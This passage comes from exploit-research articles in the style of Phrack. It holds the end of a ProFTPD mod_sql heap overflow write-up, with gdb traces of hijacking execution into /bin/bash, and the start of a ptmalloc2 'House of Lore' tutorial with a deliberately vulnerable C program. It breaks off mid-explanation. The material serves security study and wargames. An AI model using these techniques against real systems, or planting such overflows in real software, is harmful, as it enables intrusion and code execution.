Missing separate debuginfos, use: debuginfo-install
|
|
audit-libs-1.7.13-1.fc10.i386 e2fsprogs-libs-1.41.4-6.fc10.i386
|
|
keyutils-libs-1.2-3.fc9.i386 krb5-libs-1.6.3-18.fc10.i386
|
|
libattr-2.4.43-2.fc10.i386 libselinux-2.0.78-1.fc10.i386
|
|
mysql-libs-5.0.84-1.fc10.i386 zlib-1.2.3-18.fc9.i386
|
|
(gdb) x/8i $eip
|
|
0x8063ee3 <run_schedule+67>: mov 0x18(%ebx),%eax
|
|
0x8063ee6 <run_schedule+70>: mov %eax,0x4(%esp)
|
|
0x8063eea <run_schedule+74>: mov 0x14(%ebx),%eax
|
|
0x8063eed <run_schedule+77>: mov %eax,(%esp)
|
|
0x8063ef0 <run_schedule+80>: call *0xc(%ebx)
|
|
(gdb) x/x $ebx+0x18
|
|
0x80ed94b <resp_buf+203>: 0x48484848
|
|
(gdb) x/x $ebx+0x14
|
|
0x80ed947 <resp_buf+199>: 0x47474747
|
|
(gdb) x/x $ebx+0xc
|
|
0x80ed93f <resp_buf+191>: 0x45454545
|
|
|
|
We can replace HHHH with resp_buf + 400 to point to NULL, we can put in our
|
|
offset for the program to execute in GGGG, and our execv code at EEEE,
|
|
which will be:
|
|
|
|
080526b8 <execv@plt>:
|
|
80526b8: ff 25 a4 46 0e 08 jmp *0x80e46a4
|
|
80526be: 68 00 05 00 00 push $0x500
|
|
80526c3: e9 e0 f5 ff ff jmp 8051ca8 <_init+0x30>
|
|
|
|
Putting those together, we then see:
|
|
|
|
Breakpoint 1, 0x08063ee3 in run_schedule () at support.c:132
|
|
132 s->f(s->a1,s->a2,s->a3,s->a4);
|
|
(gdb) c
|
|
Continuing.
|
|
[New process 22952]
|
|
Executing new program: /bin/bash
|
|
warning: Cannot initialize thread debugging library: generic error
|
|
|
|
Due to alarm() being called in ProFTPD, you'll have to reset it / catch it
|
|
/ block it (the "trap" command in bash should be able to do this for you),
|
|
otherwise the connection will drop out some time later on.
|
|
|
|
If PIE was enabled, and the binary ended up past 0x01000000, we could brute
|
|
force it and still gain code execution. The only problem now to deal with
|
|
is with SELinux restrictions. Any decent kernel exploit will disable that
|
|
for you ;)
|
|
|
|
------[ 4.2 - Potential enhancements ]
|
|
|
|
There are a variety of enhancements that could be done to make the exploit
|
|
better in a variety of ways, such as a known target lists, bruteforce
|
|
ability (both offset and tags, if necessary. Timing attacks may be useful),
|
|
porting it to metasploit so you have the advantage of changing shellcodes,
|
|
etc.
|
|
|
|
Also, more work would be required against distributions, because if ProFTPD
|
|
is compiled with shared library support, using time() as an offset may
|
|
change ;) Additionally, it may be possible that some distributions require
|
|
different ways due to charcter restrictions.
|
|
|
|
Further research would be needed in common ProFTPD w/ mod_sql.c
|
|
configuration guides in order to see what table names / fields are used.
|
|
|
|
Further experimentation with the pool implementation in ProFTPD might be in
|
|
order, as perhaps it would be possible to work out a generic fake/trigger
|
|
string that would work in all cases.
|
|
|
|
Since the SQL injection fix, the bug is no longer remote root pre auth via
|
|
USER handling it has lost a lot of it's sexiness <;-P~ Don't know if the
|
|
bug is reachable through authentication.. if it is, there's a lot more work
|
|
involved due to dropped privileges, potential chroot()ing, and so on. At
|
|
least RootRevoke isn't enabled by default according to some random
|
|
documentation I was reading :p
|
|
|
|
------[ 4.3 - Last thoughts ]
|
|
|
|
Initial experimentation of the vulnerability with constraint solvers was
|
|
interesting, however, in hindsight, just replicating the constraint checks
|
|
and random generation would of been a better idea. Same goes for using GA
|
|
to mutate input strings, though the GA use was worse because the metrics
|
|
used was pretty bad. In hindsight, I had a solution looking for a problem.
|
|
|
|
Additionally, [11] has some more information regarding this vulnerability
|
|
when you consider the timing aspect of heap massages.
|
|
|
|
--[ 5 - Discussion of hardening techniques against exploitation ]
|
|
|
|
It's always fun to consider the effects of various hardening techniques
|
|
against exploitation, and if it helps mitigate the issue. Here's some
|
|
thoughts on the matter.
|
|
|
|
------[ 5.1 - Address Space Layout Randomisation ]
|
|
|
|
If the binary is not compiled as a position independent executable (PIE)
|
|
binary, ASLR is not much of a problem as we target the GOT for storing the
|
|
shellcode. We require only one offset, and on non-PIE binaries, we should
|
|
be in luck.
|
|
|
|
------[ 5.2 - Non-executable Memory ]
|
|
|
|
With kernels using PAE and hardware supported NX-bit will break our
|
|
shellcode approach, however, it will not affect our approach used in
|
|
"Cleanup structure crash".
|
|
|
|
With kernels that use CS limit to approximate non executable memory, it may
|
|
be possible that a higher region of memory is marked executable, and thus
|
|
our shellcode region is executable. The metasploit stager shellcode reads
|
|
onto the stack and jumps to it, so cs limit approximation would block that
|
|
attempt. A suitable mprotect() call could fix it though.
|
|
|
|
It may be possible use the overflow to make ProFTPD think we have been
|
|
authenticated, without requiring any shellcode. Assuming the pool memory
|
|
layout is not irreparably harmed, we may be able to do some interesting
|
|
things.
|
|
|
|
------[ 5.3 - Position Independent Executable Binaries ]
|
|
|
|
In case of PIE, it would be feasible to brute force the randomisation as
|
|
ProFTPD fork()s for each client connection. In order to make the most of
|
|
ASLR, ProFTPD would have to fork+execve() itself, or be configured to use
|
|
xinetd/inetd (which would probably be a significant performance problem on
|
|
busy sites). Using fork+execve() would be the best approach as it would
|
|
require least changes by the user except an update to ProFTPD.
|
|
|
|
The avenue we are using for exploitation does not lend itself to off-by-X
|
|
overwrites, as our contents is appended by ')\x00, which restricts the
|
|
characters we can use dramatically.
|
|
|
|
As for information leaks, I have seen heap address info leaks when the
|
|
server replies with "Password needed for <OUR CONTENT><MANGLED HEAP
|
|
ADDRESS>". This may be useful at some stage if a different avenue is needed
|
|
for exploitation.
|
|
|
|
Unfortunately, ProFTPD frequently uses pcalloc() which reduces the
|
|
potential for info leaks in some other cases.
|
|
|
|
------[ 5.4 - Stack Protector ]
|
|
|
|
SSP does not play much of a part as we are not overwriting the stack, and
|
|
nor are we abusing a libc function to overwrite contents (due to recent
|
|
instrumentation added to gcc/glibc/so on). So far, targeting the stack
|
|
seems irrelevant, and due to ASLR being in modern kernels, not that useful.
|
|
|
|
------[ 5.5 - RelRO ]
|
|
|
|
If readonly relocations is enabled on the target binary, (and being
|
|
enforced/enabled properly) it will break our current avenue of overwriting
|
|
the GOT table to gain control of execution.
|
|
|
|
However, it may be possible to target .bss heap pointers in ProFTPD that
|
|
get called. (objdump -tr /usr/local/sbin/proftpd | grep bss | grep 0004 or
|
|
so should find potential function pointers :p)
|
|
|
|
Assuming non-executable memory is not in use, the BSS provides a suitable
|
|
location to store our shellcode, due to the proctitle.c code.
|
|
|
|
--[ 6 - References
|
|
|
|
[1] http://www.proftpd.org
|
|
[2] http://labix.org/python-constraint
|
|
[3] http://bitbucket.org/haypo/python-ptrace/
|
|
[4] http://pyevolve.sourceforge.net/
|
|
[5] http://www.castaglia.org/proftpd/doc/devel-guide/introduction.html
|
|
[6] http://www.phreedom.org/solar/exploits/proftpd-ascii/
|
|
[7] ga_exp_find.py in the attached code.. my bash history says I used
|
|
it with python ga_exp_find.py -o 32 -i 127.0.0.1 -U -s f .. for
|
|
what it's worth :p
|
|
[8] http://dev.mysql.com/doc/refman/5.0/en/string-syntax.html
|
|
[9] code/final_exploit/exploit.py
|
|
[10] code/final_exploit/exploitsc.py
|
|
[11] http://felinemenace.org/~andrewg/Timing_attacks_and_heap_exploitation/
|
|
|
|
--[ 7 - Code
|
|
|
|
----EOF----
|
|
|
|
==Phrack Inc.==
|
|
|
|
Volume 0x0e, Issue 0x43, Phile #0x08 of 0x10
|
|
|
|
|=-----------------------------------------------------------------------=|
|
|
|=-------------------=[ The House Of Lore: Reloaded ]=-------------------=|
|
|
|=-------------=[ ptmalloc v2 & v3: Analysis & Corruption ]=-------------=|
|
|
|=-----------------------------------------------------------------------=|
|
|
|=--------------------------=[ by blackngel ]=-------------------------=|
|
|
|=-----------------------------------------------------------------------=|
|
|
|
|
|
|
^^
|
|
*`* @@ *`* HACK THE WORLD
|
|
* *--* *
|
|
## <blackngel1@gmail.com>
|
|
|| <black@set-ezine.org>
|
|
* *
|
|
* * (C) Copyleft 2010 everybody
|
|
_* *_
|
|
|
|
|
|
--[ CONTENTS
|
|
|
|
1 - Preface
|
|
|
|
2 - Introduction
|
|
|
|
2.1 - KiddieDbg Ptmalloc2
|
|
|
|
2.2 - SmallBin Corruption
|
|
|
|
2.2.1 - Triggering The HoL(e)
|
|
|
|
2.2.2 - A More Confusing Example
|
|
|
|
3 - LargeBin Corruption Method
|
|
|
|
4 - Analysis of Ptmalloc3
|
|
|
|
4.1 - SmallBin Corruption (Reverse)
|
|
|
|
4.2 - LargeBin Method (TreeBin Corruption)
|
|
|
|
4.3 - Implement Security Checks
|
|
|
|
4.3.1 - Secure Heap Allocator (Utopian)
|
|
|
|
4.3.2 - dnmalloc
|
|
|
|
4.3.3 - OpenBSD malloc
|
|
|
|
5 - Miscellany, ASLR and More
|
|
|
|
6 - Conclusions
|
|
|
|
7 - Acknowledgments
|
|
|
|
8 - References
|
|
|
|
9 - Wargame Code
|
|
|
|
--[ END OF CONTENTS
|
|
|
|
|
|
|
|
.-----------.
|
|
---[ 1 ---[ Preface ]---
|
|
.-----------.
|
|
|
|
No offense, I could say that sometimes the world of hackers (at least) is
|
|
divided into two camps:
|
|
|
|
1.- The illustrious characters who spend many hours to find holes in
|
|
the current software.
|
|
|
|
2.- And the hackers who spend most of their time to find a way to
|
|
exploit a vulnerable code/environment that does not exist yet.
|
|
|
|
Maybe, it is a bit confusing but this is like the early question: which
|
|
came first, the chicken or the egg? Or better... Which came first, the bug
|
|
or the exploit?
|
|
|
|
Unlike what happens with an ordinary Heap Overflow, where we could say it's
|
|
the logical progression over time of a Stack Overflow, with The House of
|
|
Lore technique seems to happen something special and strange, we know it's
|
|
there (a thorn in your mind), that something happens, something is wrong
|
|
and that we can exploit it.
|
|
|
|
But we do not know how to do it. And that is all over this stuff, we know
|
|
the technique (at least the Phantasmal Phantasmagoria explanation), but
|
|
perhaps has anyone seen a sample vulnerable code that can be exploited?
|
|
|
|
Maybe someone is thinking: well, if the bug exists and it is an ordinary
|
|
Heap Overflow...
|
|
|
|
1.- What are the conditions to create a new technique?
|
|
|
|
2.- Why a special sequence of calls to malloc( ) and free( ) allows a
|
|
specific exploit technique and why another sequence needs other
|
|
technique?
|
|
|
|
3.- What are the names of those sequences? Are the sequences a bug or
|
|
is it pure luck?
|
|
|
|
This can give much food for thought. If Phantasmal had left a clear
|
|
evidence of his theory, surely we would have forgotten about it, but as
|
|
this did not happened, some of us are spending all day analyzing the way to
|
|
create a code that can be committed with a technique that a virtual expert
|
|
gave us in 2005 in a magnificent article that everyone already knows,
|
|
right?
|
|
|
|
We speak about "Malloc Maleficarum" [1], great theory that I myself had the
|
|
opportunity to demonstrate in practice in the "Malloc Des-Maleficarum" [2]
|
|
article. But unfortunately I left a job unresolved yet. In the pas I was
|
|
not able to interpret so correct one of the techniques that were presented
|
|
by Phantasmal, we speak of course of "The House of Lore" technique, but in
|
|
a moment of creativity it seems that I finally found a solution.
|
|
|
|
Here I submit the details of how a vulnerable code can be attacked with The
|
|
House of Lore (THoL from now), thus completing a stage that for some reason
|
|
was left unfinished.
|
|
|
|
In addition, we will target not only the smallbin corruption method which
|
|
many have heard of, but we also introduce the complications in largebin
|
|
method and how to solve them. I also present two variants based on these
|
|
techniques that I have found to corrupt the Ptmalloc3 structure.
|
|
|
|
There are also more content in this paper like a small program where to
|
|
apply one of the techniques can be exploited, it is very useful for an
|
|
exploiting-wargame.
|
|
|
|
And... yes, THoL was exactly the thorn that I had into my mind.
|
|
|
|
|
|
|
|
<< One can resist the invasion
|
|
of an army but one cannot
|
|
resist the invasion of ideas. >>
|
|
|
|
[ Victor Hugo ]
|
|
|
|
|
|
|
|
.----------------.
|
|
---[ 2 ---[ Introduction ]---
|
|
.----------------.
|
|
|
|
Then, before starting with practical examples, we reintroduce the technical
|
|
background of the THoL. While that one might take the Phantasmal's theory
|
|
as the only support for subsequent descriptions, we will offer a bigger and
|
|
more deep approach to the subject and also some small indications on how
|
|
you can get some information from Ptmalloc2 in runtime without having to
|
|
modify or recompile your personal GlibC.
|
|
|
|
We mention that dynamic hooks could be a better way to this goal. More
|
|
control, more conspicuous.
|
|
|
|
|
|
|
|
<< Great spirits have always encountered
|
|
violent opposition from mediocre minds. >>
|
|
|
|
[ Albert Einstein ]
|
|
|
|
|
|
|
|
.-----------------------.
|
|
---[ 2.1 ---[ KiddieDbg Ptmalloc2 ]---
|
|
.-----------------------.
|
|
|
|
In an effort to make things easier to the reader when we will perform all
|
|
subsequent tests, let's indicate the simple way you can use PTMALLOC2 to
|
|
obtain the necessary information from within each attack.
|
|
|
|
To avoid the tedious task of recompiling GLIBC when one makes a minor
|
|
change in "malloc.c", we decided to directly download the sources of
|
|
ptmalloc2 from: http://www.malloc.de/malloc/ptmalloc2-current.tar.gz.
|
|
|
|
Then we compiled it in a Kubuntu 9.10 Linux distribution (it will not be a
|
|
great effort to type a make) and you can directly link it as a static
|
|
library to each of our examples like this:
|
|
|
|
gcc prog.c libmalloc.a -o prog
|
|
|
|
However, before compiling this library, we allowed ourselves the luxury of
|
|
introducing a pair of debugging sentences. To achieve this we made use of a
|
|
function that is not accessible to everybody, one has to be very eleet to
|
|
know it and only those who have been able to escape to Matrix have the
|
|
right to use it. This lethal weapon is known among the gurus as
|
|
"printf( )".
|
|
|
|
And now, enough jokes, here are the small changes in "malloc.c" to get some
|
|
information at runtime:
|
|
|
|
|
|
----- snip -----
|
|
|
|
Void_t*
|
|
_int_malloc(mstate av, size_t bytes)
|
|
{
|
|
....
|
|
checked_request2size(bytes, nb);
|
|
|
|
if ((unsigned long)(nb) <= (unsigned long)(av->max_fast)) {
|
|
...
|
|
}
|
|
|
|
if (in_smallbin_range(nb)) {
|
|
idx = smallbin_index(nb);
|
|
bin = bin_at(av,idx);
|
|
if ( (victim = last(bin)) != bin) {
|
|
|
|
printf("\n[PTMALLOC2] -> (Smallbin code reached)");
|
|
printf("\n[PTMALLOC2] -> (victim = [ %p ])", victim);
|
|
|
|
if (victim == 0) /* initialization check */
|
|
malloc_consolidate(av);
|
|
else {
|
|
bck = victim->bk;
|
|
|
|
printf("\n[PTMALLOC2] -> (victim->bk = [ %p ])\n", bck);
|
|
|
|
set_inuse_bit_at_offset(victim, nb);
|
|
bin->bk = bck;
|
|
bck->fd = bin;
|
|
|
|
if (av != &main_arena)
|
|
victim->size |= NON_MAIN_ARENA;
|
|
check_malloced_chunk(av, victim, nb);
|
|
return chunk2mem(victim);
|
|
}
|
|
}
|
|
}
|
|
|
|
----- snip -----
|
|
|
|
|
|
Here we can know when a chunk is extracted from its corresponding bin to
|
|
satisfy a memory request of appropriate size. In addition, we can control
|
|
the pointer value that takes the "bk" pointer of a chunk if it has been
|
|
previously altered.
|
|
|
|
|
|
----- snip -----
|
|
|
|
use_top:
|
|
victim = av->top;
|
|
size = chunksize(victim);
|
|
|
|
if ((unsigned long)(size) >= (unsigned long)(nb + MINSIZE)) {
|
|
........
|
|
printf("\n[PTMALLOC2] -> (Chunk from TOP)");
|
|
return chunk2mem(victim);
|
|
}
|
|
|
|
----- snip -----
|
|
|
|
|
|
Here you simply provide a warning to be aware of when a memory request is
|
|
served from the Wilderness chunk (av->top).
|
|
|
|
|
|
----- snip -----
|
|
|
|
bck = unsorted_chunks(av);
|
|
fwd = bck->fd;
|
|
p->bk = bck;
|
|
p->fd = fwd;
|
|
bck->fd = p;
|
|
fwd->bk = p;
|
|
printf("\n[PTMALLOC2] -> (Freed and unsorted chunk [ %p ])", p);
|
|
|
|
----- snip -----
|
|
|
|
|
|
Unlike the first two changes which were introduced in the "_int_malloc( )"
|
|
function, the latter did it in "_int_free( )" and clearly indicates when a
|
|
chunk has been freed and introduced into the unsorted bin for a further use
|
|
of it.
|
|
|
|
|
|
|
|
<< I have never met a man so
|
|
ignorant that I couldn't
|
|
learn something from him. >>
|
|
|
|
[ Galileo Galilei ]
|
|
|
|
|
|
|
|
.-----------------------.
|
|
---[ 2.2 ---[ SmallBin Corruption ]---
|
|
.-----------------------.
|
|
|
|
Take again before starting the piece of code that will trigger the
|
|
vulnerability described in this paper:
|
|
|
|
|
|
----- snip -----
|
|
|
|
if (in_smallbin_range(nb)) {
|
|
idx = smallbin_index(nb);
|
|
bin = bin_at(av,idx);
|
|
if ( (victim = last(bin)) != bin) {
|
|
|
|
if (victim == 0) /* initialization check */
|
|
malloc_consolidate(av);
|
|
else {
|
|
bck = victim->bk;
|
|
set_inuse_bit_at_offset(victim, nb);
|
|
bin->bk = bck;
|
|
bck->fd = bin;
|
|
|
|
if (av != &main_arena)
|
|
victim->size |= NON_MAIN_ARENA;
|
|
check_malloced_chunk(av, victim, nb);
|
|
return chunk2mem(victim);
|
|
}
|
|
|
|
----- snip -----
|
|
|
|
|
|
To reach this area of the code inside "_int_malloc( )", one assumes the
|
|
fact that the size of memory request is largest that the current value of
|
|
"av->max_fast" in order to pass the first check and avoid fastbin[ ]
|
|
utilization. Remember that this value is "72" by default.
|
|
|
|
This done, then comes the function "in_smallbin_range(nb)" which checks in
|
|
turn if the chunk of memory requested is less than that MIN_LARGE_SIZE,
|
|
defined to 512 bytes in malloc.c.
|
|
|
|
We know from the documentation that: "the size bins for less than 512 bytes
|
|
contain always the same size chunks". With this we know that if a chunk of
|
|
a certain size has been introduced in its corresponding bin, a further
|
|
request of the same size will find the appropriate bin and will return the
|
|
previously stored chunk. The functions "smallbin_index(nb)" and
|
|
"bin_at(av, idx)" are responsible for finding the appropriate bin for the
|
|
chunk requested.
|
|
|
|
We also know that a "bin" is a couple of pointers "fd" and "bk", the
|
|
purpose of the pointers is to close the doubly linked list of the free
|
|
chunks. The macro "last(bin)" returns the pointer "bk" of this "fake
|
|
chunk", it also indicates the last available chunk in the bin (if any). If
|
|
none exists, the pointer "bin->bk" would be pointing to itself, then it
|
|
will fail the search and it would be out of the smallbin code.
|
|
|
|
If there is an available chunk of adequate size, the process is simple.
|
|
Before being returned to the caller, it must be unlinked from the list and,
|
|
in order to do it, malloc uses the following instructions:
|
|
|
|
|
|
1) bck = victim->bk; // bck points to the penultimate chunk
|
|
|
|
2) bin->bk = bck; // bck becomes the last chunk
|
|
|
|
3) bck->fd = bin; // fd pointer of the new last chunk points
|
|
to the bin to close the list again
|
|
|
|
|
|
If all is correct, the user is given the pointer *mem of victim by the
|
|
macro "chunk2mem(victim)."
|
|
|
|
The only extra tasks in this process are to set the PREV_INUSE bit of the
|
|
contiguous chunk, and also to manage the NON_MAIN_ARENA bit if victim is
|
|
not in the main arena by default.
|
|
|
|
And here is where the game starts.
|
|
|
|
The only value that someone can control in this whole process is obviously
|
|
the value of "victim->bk". But to accomplish this, a necessary condition
|
|
must be satisfied:
|
|
|
|
1 - That two chunks have been allocated previously, that the latter has
|
|
been freed and that the first will be vulnerable to an overflow.
|
|
|
|
If this is true, the overflow of the first chunk will allow to manipulate
|
|
the header of the already freed second chunk, specifically the "bk" pointer
|
|
because other fields are not interesting at this time. Always remember that
|
|
the overflow must always occur after the release of this second piece, and
|
|
I insist on it because we do not want to blow the alarms within
|
|
"_int_free()" before its time.
|
|
|
|
As mentioned, if this manipulated second piece is introduced in its
|
|
corresponding bin and a new request of the same size is performed, the
|
|
smallbin code is triggered, and therefore come to the code that interests
|
|
us.
|
|
|
|
"bck" is pointing to the altered "bk" pointer of victim and as a result,
|
|
will become the last piece in "bin->bk = bck". Then a subsequent call to
|
|
malloc( ) with the same size could deliver a chunk in the position of
|
|
memory with which we had altered the "bk" pointer, and if this were in the
|
|
stack we already know what happens.
|
|
|
|
In this attack one must be careful with the sentence "bck->fd = bin" since
|
|
this code tries to write to the pointer "fd" the bin's address to close the
|
|
linked list, this memory area must have writing permissions.
|
|
|
|
The only last thing really important for the success of our attack:
|
|
|
|
When a chunk is freed, it is inserted into the known "unsorted bin". This
|
|
is a special bin, also a doubly linked list, with the peculiarity that the
|
|
chunks are not sorted (obviously) according to the size. This bin is like a
|
|
stack, the chunks are placed in this bin when they are freed and the chunks
|
|
will always been inserted in the first position.
|
|
|
|
This is done with the intention that a subsequent call to "malloc( ),
|
|
calloc( ) or realloc( )" can make use of this chunk if its size can fulfill
|
|
the request. This is done to improve efficiency in the memory allocation
|
|
process as each chunk introduced in the unsorted bin has a chance to be
|
|
reused immediately without going through the sorting algorithm.
|
|
|
|
How does this process work?
|
|
|
|
All begins within "_int_malloc( )" with the next loop:
|
|
|
|
while ( (victim = unsorted_chunks(av)->bk) != unsorted_chunks(av))
|
|
|
|
then takes the second last piece of the list:
|
|
|
|
bck = victim->bk
|
|
|
|
checks if the memory request is within "in_smallbin_range( )", and it is
|
|
checked whether the request could be met with victim. Otherwise, proceed to
|
|
remove victim from unsorted bin with:
|
|
|
|
|
|
unsorted_chunks(av)->bk = bck;
|
|
bck->fd = unsorted_chunks(av);
|
|
|
|
|
|
which is the same as saying: the bin points to the penultimate chunk, and
|
|
the penultimate chunk points to the bin which becomes the latest chunk in
|
|
the list.
|
|
|
|
Once removed from the list, two things can happen. Either the size of the
|
|
removed chunk matches with the request made (size == nb) in which case it
|
|
returns the memory for this chunk to the user, or it does not coincide and
|
|
that's when we proceed to introduce the chunk in the adequate bin with:
|
|
|
|
|
|
bck = bin_at(av, victim_index);
|
|
fwd = bck->fd;
|
|
.....
|
|
.....
|
|
victim->bk = bck;
|
|
victim->fd = fwd;
|
|
fwd->bk = victim;
|
|
bck->fd = victim;
|
|
|
|
|
|
Why do we mention this? Well, the condition that we mentioned requires that
|
|
the freed and manipulated chunk will be introduced in its appropriate bin,
|
|
since as Phantasmal said, altering an unsorted chunk is not interesting at
|
|
this time.
|
|
|
|
With this in mind, our vulnerable program should call malloc( ) between the
|
|
vulnerable copy function and the subsequent call to malloc( ) requesting
|
|
the same size as the chunk recently freed. In addition, this intermediate
|
|
call to malloc( ) should request a size larger than the released one, so
|
|
that the request can not be served from unsorted list of chunks and
|
|
proceeds to order the pieces into their respective bins.
|
|
|
|
We note before completing this section that a bin of a real-life
|
|
application might contain several chunks of the same size stored and
|
|
waiting to be used. When a chunk comes from unsorted bin, that is inserted
|
|
into its appropriate bin as the first in the list, and according to our
|
|
theory, our altered chunk is not being used until it occupies the last
|
|
position (last(bin)). If this occurs, multiple calls to malloc( ) with the
|
|
same size must be triggered so that our chunk reaches the desired position
|
|
in the circular list. At that point, the "bk" pointer must be hacked.
|
|
|
|
Graphically would pass through these stages:
|
|
|
|
Stage 1: Insert victim into smallbin[ ].
|
|
|
|
|
|
bin->bk ___ bin->fwd
|
|
o--------[bin]----------o
|
|
! ^ ^ !
|
|
[last]-------| |-------[victim]
|
|
^| l->fwd v->bk ^|
|
|
|! |!
|
|
[....] [....]
|
|
\\ //
|
|
[....] [....]
|
|
^ |____________^ |
|
|
|________________|
|
|
|
|
|
|
Stage 2: "n" calls to malloc( ) with same size.
|
|
|
|
|
|
bin->bk ___ bin->fwd
|
|
o--------[bin]----------o
|
|
! ^ ^ !
|
|
[victim]------| |--------[first]
|
|
^| v->fwd f->bk ^|
|
|
|! |!
|
|
[....] [....]
|
|
\\ //
|
|
[....] [....]
|
|
^ |____________^ |
|
|
|________________|
|
|
|
|
|
|
Stage 3: Overwrite "bk" pointer of victim.
|
|
|
|
|
|
bin->bk ___ bin->fwd
|
|
o--------[bin]----------o
|
|
& stack ! ^ ^ !
|
|
^--------[victim]------| |--------[first]
|
|
v->bk ^ v->fwd f->bk ^|
|
|
| |!
|
|
[....] [....]
|
|
\\ //
|
|
[....] [....]
|
|
^ |____________^ |
|
|
|________________|
|
|
|
|
|
|
Stage 4: Last call to malloc( ) with same size.
|
|
|
|
|
|
bin->bk ___ bin->fwd
|
|
o--------[bin]----------o
|
|
& -w- perm ! ^ ^ !
|
|
^--------[&stack]------| |--------[first]
|
|
v->bk ^ v->fwd f->bk ^|
|
|
| |!
|
|
[....] [....]
|
|
\\ //
|
|
[....] [....]
|
|
^ |____________^ |
|
|
|________________|
|
|
|
|
|
|
It is where the pointer "*mem" is returned pointing to the stack and thus
|
|
giving full control of the attacked system. However as there are people who
|
|
need to see to believe, read on next section.
|
|
|
|
Note: I have not checked all versions of glibc, and some changes have been
|
|
made since I wrote this paper. For example, on an Ubuntu box (with glibc
|
|
2.11.1) we see the next fix:
|
|
|
|
|
|
----- snip -----
|
|
|
|
bck = victim->bk;
|
|
if (__builtin_expect (bck->fd != victim, 0))
|
|
{
|
|
errstr = "malloc(): smallbin double linked list corrupted";
|
|
goto errout;
|
|
}
|
|
set_inuse_bit_at_offset(victim, nb);
|
|
bin->bk = bck;
|
|
bck->fd = bin;
|
|
|
|
----- snip -----
|
|
|
|
|
|
This check can still be overcome if you control an area into the stack and
|
|
you can write an integer such that its value is equal to the address of the
|
|
recently free chunk (victim). This must happen before the next call to
|
|
malloc( ) with the same size requested.
|
|
|
|
|
|
|
|
<< The grand aim of all science is to cover
|
|
the greatest number of empirical facts
|
|
by logical deduction from the smallest
|
|
number of hypotheses or axioms. >>
|
|
|
|
[ Albert Einstein ]
|
|
|
|
|
|
|
|
.-------------------------.
|
|
---[ 2.2.1 ---[ Triggering The HoL(e) ]---
|
|
.-------------------------.
|
|
|
|
After the theory... A practical example to apply this technique, here is a
|
|
detailed description:
|
|
|
|
|
|
---[ thl.c ]---
|
|
|
|
#include <stdio.h>
|
|
#include <string.h>
|
|
|
|
void evil_func(void)
|
|
{
|
|
printf("\nThis is an evil function. You become a cool \
|
|
hacker if you are able to execute it.\n");
|
|
}
|
|
|
|
void func1(void)
|
|
{
|
|
char *lb1, *lb2;
|
|
|
|
lb1 = (char *) malloc(128);
|
|
printf("LB1 -> [ %p ]", lb1);
|
|
lb2 = (char *) malloc(128);
|
|
printf("\nLB2 -> [ %p ]", lb2);
|
|
|
|
strcpy(lb1, "Which is your favourite hobby? ");
|
|
printf("\n%s", lb1);
|
|
fgets(lb2, 128, stdin);
|
|
}
|
|
|
|
int main(int argc, char *argv[])
|
|
{
|
|
char *buff1, *buff2, *buff3;
|
|
|
|
malloc(4056);
|
|
buff1 = (char *) malloc(16);
|
|
printf("\nBuff1 -> [ %p ]", buff1);
|
|
buff2 = (char *) malloc(128);
|
|
printf("\nBuff2 -> [ %p ]", buff2);
|
|
buff3 = (char *) malloc(256);
|
|
printf("\nBuff3 -> [ %p ]\n", buff3);
|
|
|
|
free(buff2);
|
|
|
|
printf("\nBuff4 -> [ %p ]\n", malloc(1423));
|
|
|
|
strcpy(buff1, argv[1]);
|
|
|
|
func1();
|
|
|
|
return 0;
|
|
}
|
|
|
|
---[ end thl.c ]---
|
|
|
|
|
|
The program is very simple, we have a buffer overflow in "buff1" and an
|
|
"evil_func( )" function which is never called but which we want to run.
|
|
|
|
In short we have everything we need in order to trigger THoL:
|
|
|
|
1) Make a first call to malloc(4056), it shouldn't be necessary but we use
|
|
to warm up the system. Furthermore, in a real-life application the heap
|
|
probably won't be starting from scratch.
|
|
|
|
2) We allocate three chunks of memory, 16, 128 and 256 bytes respectively,
|
|
since no chunks has been released before, we know that they must been
|
|
taken from the Wilderness or Top Chunk.
|
|
|
|
3) Free() the second chunk of 128 bytes. This is placed in the unsorted
|
|
bin.
|
|
|
|
4) Allocate a fourth piece larger than the most recently freed chunk. The
|
|
"buff2" is now extracted from the unsorted list and added to its
|
|
appropriate bin.
|
|
|
|
5) We have a vulnerable function strcpy( ) that can overwrite the header
|
|
of the chunk previously passed to free( ) (including its "bk" field).
|
|
|
|
6) We call func1( ) which allocated two blocks of 128 bytes (the same size
|
|
as the piece previously released) to formulate a question and get a user
|
|
response.
|
|
|
|
It seems that in point 6 there is nothing vulnerable, but everyone knows
|
|
that if "LB2" point to the stack, then we may overwrite a saved return
|
|
address. That is our goal, and we will see this approach.
|
|
|
|
A basic execution could be like this:
|
|
|
|
black@odisea:~/ptmalloc2$ ./thl AAAA
|
|
|
|
[PTMALLOC2] -> (Chunk from TOP)
|
|
Buff1 -> [ 0x804ffe8 ]
|
|
[PTMALLOC2] -> (Chunk from TOP)
|
|
Buff2 -> [ 0x8050000 ]
|
|
[PTMALLOC2] -> (Chunk from TOP)
|
|
Buff3 -> [ 0x8050088 ]
|
|
|
|
[PTMALLOC2] -> (Freed and unsorted chunk [ 0x804fff8 ])
|
|
[PTMALLOC2] -> (Chunk from TOP)
|
|
Buff4 -> [ 0x8050190 ]
|
|
|
|
[PTMALLOC2] -> (Smallbin code reached)
|
|
[PTMALLOC2] -> (victim = [ 0x804fff8 ])
|
|
[PTMALLOC2] -> (victim->bk = [ 0x804e188 ])
|
|
LB1 -> [ 0x8050000 ]
|
|
[PTMALLOC2] -> (Chunk from TOP)
|
|
LB2 -> [ 0x8050728 ]
|
|
Which is your favourite hobby: hack
|
|
black@odisea:~/ptmalloc2$
|
|
|
|
|
|
We can see that the first 3 malloced chunks are taken from the TOP, then
|
|
the second chunk (0x0804fff8) is passed to free() and placed in the
|
|
unsorted bin. This piece will remain here until the next call to malloc( )
|
|
will indicate whether it can meet the demand or not.
|
|
|
|
Since the allocated fourth buffer is larger than the recently freed, it's
|
|
taken again from TOP, and buff2 is extracted from unsorted bin to insert it
|
|
into the bin corresponding to its size (128).
|
|
|
|
After we see how the next call to malloc(128) (lb1) triggers smallbin code
|
|
returning the same address that the buffer previously freed. You can see
|
|
the value of "victim->bk" which is what should take (lb2) after this
|
|
address had been passed to the chunk2mem( ) macro.
|
|
|
|
However, we can see in the output: the lb2 is taken from the TOP and not
|
|
from a smallbin. Why? Simple, we've just released a chunk (only had a piece
|
|
in the corresponding bin to the size of this piece) and since we have not
|
|
altered the "bk" pointer of the piece released, the next check:
|
|
|
|
|
|
if ( (victim = last(bin)) != bin)
|
|
|
|
which is the same as:
|
|
|
|
if ( (victim = (bin->bk = oldvictim->bk)) != bin)
|
|
|
|
